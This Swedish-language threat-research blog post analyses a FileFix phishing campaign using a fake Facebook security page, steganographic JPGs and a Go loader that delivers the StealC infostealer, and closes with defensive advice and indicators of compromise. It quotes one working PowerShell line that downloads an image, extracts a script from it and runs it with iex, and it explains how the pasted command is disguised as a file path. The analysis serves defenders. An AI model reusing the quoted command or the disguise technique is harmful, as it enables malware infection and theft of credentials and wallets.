FileFix ute i det fria! Ny FileFix-kampanj går bortom POC och använder steganografi

Författare: Eliad Kimhy

• Första sofistikerade användningen av FileFix bortom POC: Acronis TRU har upptäckt ett sällsynt exempel på en aktiv FileFix-kampanj i det vilda i det första exemplet på en sådan attack som inte strikt följer designen för det ursprungliga proof of concept (POC).

• Ökning av *Fix-attacker och varianter: Under de senaste månaderna har ClickFix-attacker ökat med över 500 %, och nya ClickFix-varianter har utvecklats, till exempel FileFix. FileFix teoretiserades och utvecklades till ett POC i början av juli av forskaren Mr. d0x.

• Sofistikerad nätfiskeinfrastruktur: Den observerade kampanjen använder en mycket övertygande, flerspråkig phishing-webbplats (t.ex. en falsk Facebook-säkerhetssida) med anti-analys-tekniker och avancerad obfuskering för att undvika upptäckt.

• Steganografi används för att dölja skadlig kod: Attacken använder sig på ett unikt sätt av steganografi genom att bädda in både ett PowerShell-skript i andra steget och krypterade, körbara payloads i till synes ofarliga JPG-bilder. Dessa bilder laddas ner av den initiala payloaden och analyseras för att extrahera och köra skadliga komponenter, vilket gör att upptäckt blir svårare.

• Målfaserade payloads med flerstegsobfuskering och undanmanövrering: Infektionskedjan bygger på ett system för målfaserad payloadleverans med flera steg, som inleds med ett kraftigt obfuskerat PowerShell-kommando som fragmenterar och kodar sina komponenter för att undvika upptäckt. Efterföljande steg fortsätter att dekryptera, dekomprimera och köra ytterligare payloads med tekniker som variabelbaserad kommandokonstruktion, Base64-kodning och krypterade URL:er – allt utformat för att maximera stealth och kringgå säkerhetskontroller.

• Slutlig payload levererar StealC infostealer: I det sista steget används en laddare (skriven i Go, med VM/sandbox-kontroller och strängkryptering) som kör infostealern StealC, som riktar sig mot webbläsare, kryptovalutaplånböcker, meddelandeappar och molnbaserade inloggningsuppgifter. StealC kan dessutom exekvera ytterligare skadlig programvara.

• Snabb utveckling och global inriktning: Kampanjen har utvecklats snabbt under de senaste två veckorna, med flera observerade varianter och payloads. En ökande detektionsfrekvens förknippad med kampanjen indikerar att attacken kan vara på väg att accelerera. Infrastrukturen och flerspråksstödet tyder på en global målstrategi, med misstänkta offer i flera olika länder.

I början av förra veckan upptäckte forskare från Acronis Threat Research Unit ett sällsynt exempel på en FileFix-attack – en ny variant av den numera ökända ClickFix-attackvektorn. Den upptäckta attacken utnyttjar inte bara FileFix, utan är enligt vår kännedom det första exemplet på en sådan attack som inte strikt följer designen för det ursprungliga proof of concept (POC) demonstrated by Mr. d0x i juli 2025. Attacken kännetecknas dessutom av en sofistikerad phishing-webbplats och payload som på många sätt ligger före vad vi har vant oss vid från tidigare ClickFix- eller FileFix-attacker (med några intressanta undantag).

Denna forskning är inte bara ett fascinerande exempel på hur snabbt en POC kan förvandlas till en attackvektor (och hur viktigt det är att hålla sig uppdaterad om denna typ av forskning), utan är också i sig ett utmärkt exempel på en *Fix-attack, vare sig det är ClickFix eller FileFix. Angriparen bakom denna attack uppvisade betydande investeringar i hantverket. Han konstruerade noggrant phishing-infrastrukturen, leveransen av payloaden och stödjande element för att maximera både undvikande och påverkan. Detta är ett av de mest sofistikerade exemplen på *Fix-attacker som vårt team har observerat hittills.

Många av de tekniker som används i attacken kan användas effektivt för alla ClickFix- eller FileFix-attacker och bör därför vara på radarn för de som är bekymrade över ökningen av *Fix-attacker. De inkluderar en nätfiskewebbplats som innehåller anti-analysmekanismer såsom funktionsomdöpning och minifiering, samt flerspråkiga lockbete, tillsammans med en specialanpassad PowerShell-payload som hämtar ett andra-stegs-skript och en körbar fil från en JPG-bild via steganografi, och döljer sin aktivitet genom användning av variabler. De tre sistnämnda är ganska ovanliga i sammanhanget med ClickFix och FileFix, och steganografi är i synnerhet inte något som vi har stött på som levereras direkt via en *Fix-payload.

I den här bloggen får du en fullständig och detaljerad analys av attacken, som hjälper säkerhetsteam att upptäcka och mildra *Fix-attacker.

AllFix- eller *Fix-attacker är det samlade namnet på en grupp attacktekniker som inkluderar ClickFix, FileFix, PromptFix och andra varianter, som verkar dyka upp i en oroväckande takt de senaste månaderna.

Huvudidén bakom den här typen av teknik är att lura offret att själv utföra angriparens arbete – närmare bestämt att offret ombeds kopiera och klistra in angriparens payload i sitt eget terminalfönster (eller andra relevanta delar av operativsystemet, som Windows “Kör”-dialogrutan) och sedan köra den på eget initiativ. I huvudsak är det cybersäkerhetens motsvarighet till en ficktjuv som artigt ber sitt mål om de bara kunde överlämna sin plånbok, hus och bilnycklar, istället för att anstränga sig för att försöka stjäla ur fickan.

Varför någon skulle göra så beror på typen av attack och den sociala manipulation som används. Den vanligaste typen av *Fix-attack, ClickFix, går ut på att lura användaren att genomföra ett falskt CAPTCHA-test. Men istället för en oändlig rad med trafikljus och cyklar att identifiera får offret en enkel instruktion: tryck Win+R för att öppna dialogrutan “Kör” i Windows, klistra in ett kommando med Ctrl+V (ofta dolt bakom text som ”Jag är inte en robot”), och tryck på Enter. ”Så uppfriskande enkelt,” kanske användaren tänker – precis innan datorn infekteras med en informationsstjälande trojan, ransomware eller något annat illasinnat program.

Så osannolik som denna attackvektor än kan verka, har ClickFix ökat under de senaste månaderna och har använts i attacker av olika komplexitetsgrad och avsikt, från vanliga stöldprogram till nationella stater som släpper fjärråtkomsttrojaner. Jag önskar att jag också kunde säga att denna typ av attacker uteslutande bygger på avancerad social manipulation – vissa gör det förstås. Många attacker säger helt enkelt: ”Hej användare, öppna terminalen och klistra in detta kommando för att ... ehh ... bevisa att du är en människa.” Är det smart? Nej. Fungerar det? Tydligen. Kanske är detta ännu ett exempel på hur en lösning på ett problem (bottar och anti-bot-åtgärder) i sin tur skapar ett nytt problem – där anti-bot-åtgärderna blivit så krångliga och uttröttande att det framstår som fullt rimligt, eller åtminstone enklare, att bara klistra in ett kommando i terminalen i jämförelse.

När offret väljer att överklaga får de veta att Meta-teamet har delat en PDF-fil med dem. För att visa filen och instruktionerna för att överklaga avstängningen ombeds de att ”öppna File Explorer” och klistra in sökvägen till PDF-filen. Men ”Utforskaren” som de öppnade är tyvärr ett fönster för uppladdning av filer, och sökvägen som de klistrade in i adressfältet är en skadlig kod. När körningen är klar kommer payloaden att generera ett varningsmeddelande som säger ”Ingen fil hittades” och när man trycker på fortsättningsknappen på sidan kommer ett liknande felmeddelande att visas som säger ”Vänligen slutför stegen”. Offret sitter därmed fast utan fil och utan möjlighet att fortsätta överklagan.

Samtidigt i bakgrunden utför payloaden ett flerstegs PowerShell-skript. Detta skript laddar ner en bild, avkodar den till en andra fas och använder sedan både skriptet och samma bild för att dekryptera och släppa en körbar fil, som i sin tur levererar ytterligare shellcode. Följande avsnitt går igenom hela attackkedjan i detalj.

Under vår undersökning blev en sak snabbt tydlig: från början till slut hade angriparna bakom detta hot lagt ner mycket arbete på varje aspekt av attacken. Detta gäller inte bara för de olika dolda skripten och krypterade payloads, utan framgår även av den nätfiskesajt som startar attacken.

Här gör FileFix en av sina första framträdanden utanför ett POC. Andra exempel har dykt upp under veckorna sedan Mr. d0x publicerade sin ursprungliga blogg om tekniken, men för det mesta verkar dessa exempel vara experiment eller tester; ett är en kopia av Mr. d0x:s POC och det andra verkar vara en liten variation av POC. Båda exemplen är intressanta och anmärkningsvärda, men tekniken skiljer sig knappast från den genomsnittliga ClickFix-webbplatsen.

När FileFix är fri från den traditionella CAPTCHA-rutinen som används av så många ClickFix-webbplatser kan FileFix komma till sin rätt. Valet av en säkerhetssida på Facebook är ett övertygande lockbete för social manipulation. Och även om det inte råder någon brist på ClickFix-attacker som använder sig av lika kreativa förevändningar, framstår FileFix som något mindre påträngande och kan därför visa sig vara mer övertygande. Trots allt är det många användare som aldrig har öppnat ett terminalfönster i hela sitt liv. Men vem har inte använt filuppladdningsfönstret åtminstone en gång?

Tekniskt sett erbjuder FileFix flera skillnader jämfört med ClickFix. Å ena sidan är det troligt att fönstret för att ladda upp en fil som FileFix kräver är tillgängligt för de flesta användare i de flesta miljöer, medan en användare kan hindras från att komma åt sin terminal eller köra dialogrutan, vilket gör ClickFix mindre effektivt. Samtidigt är en av anledningarna till att ClickFix är så svår att upptäcka att den startas från Explorer.exe via kördialogen eller direkt från en terminal. Med FileFix däremot körs payloaden av offrets webbläsare – något som är betydligt mer sannolikt att väcka misstanke vid en säkerhetsanalys eller uppmärksammas av ett säkerhetsverktyg. Utöver det är de två teknikerna ganska lika.

Den intressanta (läs: skadliga) delen av nätfiskesajten är skriven i JavaScript och innehåller flera inslag av obfuskering samt vissa funktioner som syftar till att öka attackens räckvidd och effektivitet.

Vid första anblick ser sajten helt normal ut, och när den först dök upp på vår radar kunde vi lätt ha avfärdat den som ett falsklarm. Inget av den typiska CAPTCHA-texten fanns där, vilket annars är ett säkert tecken på ClickFix. Men en närmare granskning gav överraskande resultat. Denna webbplats var faktiskt skadlig, och hela skriptet var minifierat – krympt till cirka 12 rader från de cirka 18 000 rader som fanns i skriptet.

Webbplatsen har kraftig obfuskering och skrevs genom att implementera flera anti-analystekniker. Variabler och funktionsnamn består av slumpmässiga bokstavskombinationer och koden är fragmenterad och spridd över hela skriptet. Död kod och vilseledning är vanligt förekommande. Missförstå oss inte – även om detta inte är standard för ClickFix-sajter så är det en ganska vanlig teknik för JavaScript-baserad skadlig kod. I vårt fall visade sig dock obfuskeringen vara svår att reda ut, vilket tvingade oss att gräva igenom tusentals rader kod, variabler och funktioner, precis som sajtens skapare sannolikt hade tänkt sig. Detta skapar en utmanande upplevelse, och vi kan inte vara säkra på att vi har upptäckt allt som denna kod har lagrat.

Vi har dock kunnat hitta översättningar till 16 språk, inklusive arabiska, ryska, hindi, japanska, polska, tyska, spanska, franska, malajiska, urdu och fler. Mycket arbete har lagts ned på att skapa webbplatsen och avsikten är tydlig: maximera spridningen av attacken.

Vi har upptäckt flera varianter av samma webbplats, alla aktiva under de senaste två veckorna, var och en med något olika payloads, tekniker, filer och ibland även variationer av social manipulation. När vi granskar tidigare versioner av webbplatsen kan man följa attackens utveckling – både ur ett perspektiv av social manipulation och ur ett tekniskt perspektiv. Det verkar som att gruppen bakom detta långsamt arbetar på att förbättra sin metod.

Innehållet levereras som en enda kodrad: ett PowerShell-kommando som delvis är Base64-förklädd och fragmenterad på ett liknande sätt som JavaScript-koden som används för nätfiskesajten. Det är en ovanligt komplex leveransmetod för en *Fix-attack. De flesta av de payloads vi observerat var i klartext, med viss delvis obfuskering, men ingen riktigt så här komplex. Inom ramen för en FileFix-attack är detta ett unikt och ovanligt komplext tillvägagångssätt, och det gör det till ett intressant forskningsämne.

Av alla faser i detta angrepp är detta inledande skript vår favorit. När offret försöker hantera tragedin i att ha fått sitt Facebook-konto raderat, och klistrar in det skadliga kommandot i adressfältet för filöverföring i väntan på att få se ”Incidentrapporten” som ska förklara hur överklagandeprocessen går till, händer flera saker i bakgrunden – och allt börjar med en bild.

Föreställ dig en idyllisk scen: ett vackert hus på en äng, prästkragar i förgrunden; en närbild på en snigel på daggvåta blad en morgon. Varje skadlig programvara (av de vi dokumenterat hittills) börjar som en av dessa bilder. Men dessa JPG-filer har inte lämnats där av konstnärliga skäl. Varje bild innehåller både ett PowerShell-skript i andra fasen och en körbar payload. Varje bild är något annorlunda, och skadlig programvara skiljer sig mellan de olika versionerna av webbplatsen. Det verkar som att bilderna har genererats av AI (men vi kan inte vara säkra). Det är något absurt att tänka sig att angriparna skapade ”en vacker bild med ett hus på landet” bara för att kunna injicera skadlig kod i den. Men detta är väl tiden vi lever i.

Men låt oss ta ett steg tillbaka. Den ursprungliga payloaden, den som användaren frivilligt anger i adressfältet för uppladdning av filer och sedan kör, ser ut ungefär så här:

Några saker att notera:

1.      För att lura användaren att tro att de klistrar in sökvägen till en PDF-fil med en "incidentrapport" har angriparen placerat en variabel i slutet av payloaden, som innehåller många mellanslag och den falska sökvägen i slutet. Detta görs så att endast sökvägen till filen visas i adressfältet, och inget av de faktiska skadliga kommandona. I ett genomsnittligt ClickFix-angrepp görs detta med hjälp av #-symbolen i stället för en variabel, vilket PowerShell tolkar som en kommentar för utvecklare. Detta har den oavsiktliga fördelen att alla som har byggt sina detektioner för att leta efter #-symbolen från ClickFix, troligen kommer att missa detta.

2.      Detta är ett märkbart stort kommando – mycket större än den genomsnittliga ClickFix-payloaden. Det innehåller inte bara en Base64-kodad payload, utan har också brutit upp alla klasser och namnområden som används i skriptet i flera mindre komponenter och lagrat dem som variabler. Dessa variabler anropas sedan för att bygga upp det fullständiga kommandot. Detta förbättrar skriptets förmåga att undvika upptäckt som bygger på mönster för att avgöra skadlig aktivitet.

3.      Angriparen använder BitBucket för att leverera bilden som används i attacken. När vi har följt payloadens utveckling under de senaste två veckorna ser vi hur angriparen har gått från att använda egna skadliga domäner, såsom elprogresofood[.]com, till att i huvudsak använda BitBucket som värd. Detta gör det ännu svårare att upptäcka angreppet och eliminerar behovet av att fortsätta registrera och hantera skadliga domäner.

Som om steganografi, obfuskering och fragmenterade kommandon inte vore tillräckligt, har angriparen i vissa varianter av payloaden till och med gått så långt som att kryptera URL:en. URL:en krypteras genom att XOR:as med en nyckel som är inbyggd i payloaden, och sedan kodas som hexbytes. Den resulterande krypterade URL:en dekrypteras och kodas under körning.

I det Base64-kodade bitet finns payloadens kärna:

$p_fist=-join($env:TEMP,'\zd746f1ce1c0.jpg'); Invoke-WebRequest -Uri $u -Method Get -OutFile $p_fist -ErrorAction Ignore; $image_bytes=$ifr.Invoke($p_fist); $p_bytes=$image_bytes[1101253..($image_bytes.Length-1)]; $e.GetString($p_bytes)|iex;

Här laddar skriptet ner bilden till offrets Temp-mapp och extraherar sedan ett PowerShell-skript för andra steget, som är lagrat på en specifik position i bildfilen. När det har extraherats och konverterats till en sträng körs det som ett skript.

Jobbet för det andra fasens skript är att extrahera en skadlig payload från bilden. Ja, vi återvänder till vår idylliska landsbygd för att hämta vår payload. Till skillnad från skriptet i andra steget, som lagras i bilden i klartext (och därmed kan upptäckas – även om själva bildfilen inte är skadlig och kanske inte utlöser några varningar), är de körbara payload-filerna krypterade inuti bilden. Andra-fasens skript börjar med att ställa in två funktioner: en för att dekryptera filerna med RC4-dekryptering och den andra för att dekomprimera filerna med GZIP.

När dessa är definierade kan scriptet börja med att extrahera filerna:

Scriptet kan leverera fler än en fil och kan leverera både DLL-filer och körbara filer. När indexen för start- och slutpunkten för varje fil i bilden har angetts, fortsätter skriptet med att extrahera och dekryptera varje fil, identifiera filändelsen och sedan köra varje fil på rätt sätt (så att det till exempel inte kör en DLL-fil). Varje EXE-fil körs via conhost.exe och sedan raderas filen när 12 minuter har passerat. Slutligen visas ett falskt felmeddelande som informerar offret om att det inte går att öppna filen.

Detta tar oss tillbaka till början. Från användarens perspektiv har de bara klistrat in sökvägen till filen, som de blev ombedda att göra. Efter några ögonblick får de ett felmeddelande om att filen inte kunde öppnas. På phishing-webbplatsen kan de inte gå vidare förrän de har öppnat filen. De är i princip fast. Samtidigt har en payload släppts och laddats på deras dator i bakgrunden.

Det kan finnas flera anledningar till att angriparen valde att dela upp sitt skript i två faser. För det första ger det att bädda in den andra fasen i bildfilen angriparen mer flexibilitet att ändra de filer som släpps utan att ändra payloaden på nätfiskesidan. En annan anledning kan vara att undvika upptäckt. Genom att minska storleken på det Base64-kodade kommandot kan det vara mindre benäget att väcka uppmärksamhet.

Överlag är denna kedja av skript unik i *Fix-payloadlandskapet. Tillvägagångssättet ger angriparen större smygförmåga än vanligt och visar tydligt på en medveten ansträngning att undvika upptäckt, samtidigt som det säkerställer att payloaden är tillräckligt flexibel för att leverera en mängd olika skadeprogram i olika scenarier. Steganografin som används är intressant på många sätt och är inte särskilt vanlig, särskilt inte i *Fix-attacker. Det ger angriparen ett extra lager av smygförmåga, eftersom försvarare kanske inte misstänker att en bildfil laddas ner, och den kanske inte utlöser några varningssignaler. Allt detta skapar en komplex och sofistikerad infektion, särskilt jämfört med andra attacker som använder ClickFix och FileFix. 

Och nu till payloaden, kronjuvelen, pièce de résistance! Eller kanske inte riktigt. Missförstå oss inte: det är en intressant inläsare, skriven i Go och som använder både VM-kontroller och obfuskeringstkniker och slutligen dekrypterar och läser in shellkod i minnet. Denna shellkod packar sedan upp StealC, en populär och kapabel informationstjuv som också kan användas som downloader och inläsare. Inte så illa, men vi hade hoppats på mer – och kanske kommer det också mer. Under de senaste två veckorna har vi sett payloaden utvecklas, växa och förändras, och just nu verkar attackmetodiken fortsätta att permutera.

Men det viktigaste först. När den körs av skriptet i det andra steget startar payloaden ett sandlådetest för att avgöra om den körs i en virtuell miljö. Det rör sig om en ganska enkel kontroll: payloaden dekrypterar en lista med grafikkortsnamn som ofta används i virtuella maskiner och sandlådemiljöer. Den anropar sedan funktionen EnumDisplayDevicesA och kontrollerar varje enhet mot listan över blocklistade grafikkort. Lyckligtvis för oss kan denna kontroll enkelt kringgås.

Som en snabb parentes är varje sträng som inläsaren kör krypterad, inklusive namnen på varje API-anrop. Inläsaren har flera funktioner som är avsedda att hämta namnen på API-anrop, till exempel EnumDisplayDevicesA, NtAllocateVirtualMemory och så vidare. Ironiskt nog är det enda som inte är krypterat (vid tidpunkten för skrivandet) själva namnen på funktionerna som avkryptar och lagrar API-anropsnamn i minnet, bekvämt nog kallade getNtAllocateVirtualMemory, getEnumDisplayDevicesA och så vidare. Det är inte långsökt att tänka sig att det vi ser är ett pågående arbete – angriparna kommer sannolikt att fortsätta förbättra funktionaliteten hos den här inläsaren i framtiden, och kanske bifoga en annan payload i slutsteget.

Slutligen, när VM-kontrollen har godkänts (eller kringgåtts), dekrypterar och laddar inläsaren shellkoden som sedan leder till en StealC-infektion. StealC å sin sida samlar in information från användarens miljö, inklusive lösenord, information om webbläsare, populära spel- och chattapplikationer samt kryptovalutadata, och skickar tillbaka det till angriparen.

I vår undersökning försöker StealC stjäla information från en lång lista av program: webbläsare som Chrome, FireFox, Opera, Explorer, QQ Browser, Quark, UC Browser, Sogou Explorer och Maxthon. Den söker efter kryptovalutapengar som Bitcoin, Dogecoin, Ravencoin, Daedalus, Mainnet, Blockstream Green, Wasabi Wallet, Ethereum, Electrum, Electrum-LTC, Ledger Live, Exodus, Electron Cash, MultiDoge, Jaxx Liberty, Atomic Wallet, Binance, Coinomi och Guarda. Dessutom söker den efter information från meddelande-, VPN- och databasapplikationer som Thunderbird, Telegram, Discord, Tox, Pidgin, Ubisoft Game Launcher, Battle.net, OpenVPN och ProtonVPN, samt Azure- och AWS-nycklar.

Under vår undersökning har vi upptäckt flera iterationer av attacken som sträcker sig två veckor tillbaka i tiden. Genom dessa iterationer kan vi se hur både tekniken och den sociala manipulationen har utvecklats i attackerna. Kanske är detta ett tecken på att en angripare testar en infrastruktur som de planerar att använda i framtiden, eller kanske är det iterationer som läggs till attacken mitt i kampanjen, när angriparen lär sig att anpassa sig och förbättra sig.

Under dessa två veckor har vi sett att payloaden har utvecklats. Från att ha varit en enstegs-PowerShell-payload – där hela skriptet, inklusive delarna som extraherar och dekrypterar den körbara payloaden, ingick – har vi sett hur det utvecklats till det tvåstegs-skript som används idag, och därefter fortsatt att utvecklas med en potentiell lista över .exe- och .dll-filer som kan komma att släppas. Under hela denna tid har dock steganografi varit en viktig del av attacken. Den senaste iterationen av attacken verkar ladda hela första fasens skript från en .loggfil som är värdad på Bitbucket, medan resten av attacken förblir oförändrad.

De körbara payloads har också förändrats. Äldre attacker levererade OLLVM-obfuskade binärer istället för Go shellcode loader som vi beskrev.

Och till sist har även den sociala manipulationen i attacken ändrats något, där det ursprungliga svepskälet var att användaren skulle ladda upp sin legitimation för att undvika att kontot raderades, och filen de ombads att titta på innehöll instruktioner för hur legitimationen skulle laddas upp på webbplatsen. I senare versioner har detta ändrats till ett dokument som beskriver offrets påstådda överträdelser. Det märkliga är att det fortfarande står att användaren måste ladda upp sitt ID.

Detta tyder på en infrastruktur som utvecklas, där man fortsätter att försöka förbättra användningen av FileFix och dess tvåstegsskript, samtidigt som man är tillräckligt flexibel för att kunna släppa vilken payloaden som helst på offrets maskin. Vi kommer att fortsätta att försöka spåra detta hot i förhoppning om att kunna lära oss mer i framtiden.

En undersökning av VirusTotal (VT) visar att filer och nätfiskeplatser som är associerade med denna attack inte är begränsade till ett enda land eller en enda plats. Även om det inte är helt avgörande, kan vi se att verktyg och nätfiskeplatser har skickats in till VT från USA, Bangladesh, Filippinerna, Tunisien, Nepal, Dominikanska republiken, Serbien, Peru, Kina, Tyskland och andra länder. Detta, tillsammans med de olika språk som används på nätfiskeplatsen, kan tyda på att attacken är avsedd att rikta in sig på offer över hela världen.

På samma sätt är det svårt att fastställa angriparens identitet. Vi har funnit att huvud-C2-adressen, 77[.]90[.]153[.]225, är belägen i Tyskland. Detta faktum räcker dock inte för att exakt fastställa angriparens identitet eller plats. De tekniker som används och komplexiteten i leveransen av skadeprogrammet som omfattar flera steg, steganografi, obfuskering och kryptering, tyder på en mer sofistikerad och organiserad angripare.

Vi har redan sett ClickFix gå från POC till verkliga attacker och under de senaste månaderna öka i popularitet. Nu ser vi samma trend med FileFix: från POC till kampanj på cirka två månader. Inte nog med det, attacken levereras på ett mycket sofistikerat sätt, med en myriad av obfuskering och anti-analystekniker som ska göra att den kan flyga säkert under radarn och få maximal effekt.

När vi fortsätter att observera kampanjen kommer vi också att leta efter utvecklingar i attackinfrastrukturen, metodiken och skadlig kod, och försöka få en inblick i angriparnas identitet. Denna attack och dess smarta användning av FileFix får oss att undra hur användningen av FileFix kommer att utvecklas i framtiden, och om den kommer att ersätta eller överträffa ClickFix som en attackteknik. Tills vidare kommer vi att fortsätta att spåra denna kampanj och andra liknande kampanjer, och fortsätta att ge rekommendationer som bör hjälpa säkerhetsteam att försvara sig mot dem.

Acronis XDR-kunder skyddas mot attacken. Acronis XDR upptäcker attacken både när PowerShell-payloaden körs och när den körbara payloaden startas.

När det gäller att hantera den här attacken och FileFix i synnerhet, finns det två starka rekommendationer.

Den första är utbildning. Under de senaste åren har användarna blivit alltmer medvetna om nätfiskeattacker, mer specifikt sådana som genomförs via bifogade dokument. För att *Fix-attacker inte ska bli en blind fläck i användarnas medvetenhet om nätfiskeattacker måste vi börja utbilda dem om dessa typer av attacker och inkludera detta i företagsutbildning för nätfiskeattacker. Detta bör åtminstone få användarna att tänka efter innan de går vidare med dessa typer av instruktioner. Utbildningen bör i synnerhet fokusera på användningen av urklipp, ett vanligt inslag i *Fix-attacker, och användare bör få en varning om någon webbplats ber dem att klistra in något i någon del av deras operativsystem.

Den andra rekommendationen är att blockera exekveringsvägen för attacken. Säkerhetsteam bör vara uppmärksamma på och förhindra, om möjligt, att PowerShell, CMD, MSIEXEC eller MSHTA körs som underordnat element till en webbläsare på maskinen. Detta åtgärd bör inte störa normala verksamhetsprocesser alltför mycket, men förhindrar att attacken startar.

En annan möjlig förebyggande teknik kan vara att rikta in sig på alla bilder som laddas ner via ett PowerShell-kommando. Om nedladdningen av bilden kan förhindras eller om bilden kan sättas i karantän tillräckligt snabbt, stoppas attacken innan dess att payloaden släpps.

70AE293EB1C023D40A8A48D6109A1BF792E1877A72433BCC89613461CFFC7B61

06471E1F500612F44C828E5D3453E7846F70C2D83B24C08AC9193E791F1A8130

08FD6813F58DA707282915139DB973B2DBE79C11DF22AD25C99EC5C8406B234A

2654D6F8D6C93C7AF7B7B31A89EBF58348A349AA943332EBB39CE552DDE81FC8

FD30A2C90384BDB266971A81F97D80A2C42B4CEC5762854224E1BC5C006D007A

1D9543F7C0039F6F44C714FE8D8FD0A3F6D52FCAE2A70B4BC442F38E01E14072

1801DA172FAE83CEE2CC7C02F63E52D71F892D78E547A13718F146D5365F047C

7022F91F0534D980A4D77DF20BEA1AE53EE02F7C490EFBFAE605961F5170A580

B3CE10CC997CD60A48A01677A152E21D4AA36AB5B2FD3718C04EDEF62662CEA1

77[.]90[.]153[.]225

facebook[.]meta-software-worldwide[.]com

facebook[.]windows-software-downloads[.]com

facebook[.]windows-software-updates[.]cc

facebook[.]windows-software-updates[.]com

elprogresofood[.]com

mastercompu[.]com

thanjainatural[.]com

Bitbucket[.]org/pibejiloiza/

Bitbucket[.]org/brubroddagrofe/

Bitbucket[.]org/creyaucuronna-4413/

Grabify[.]link/5M6TOW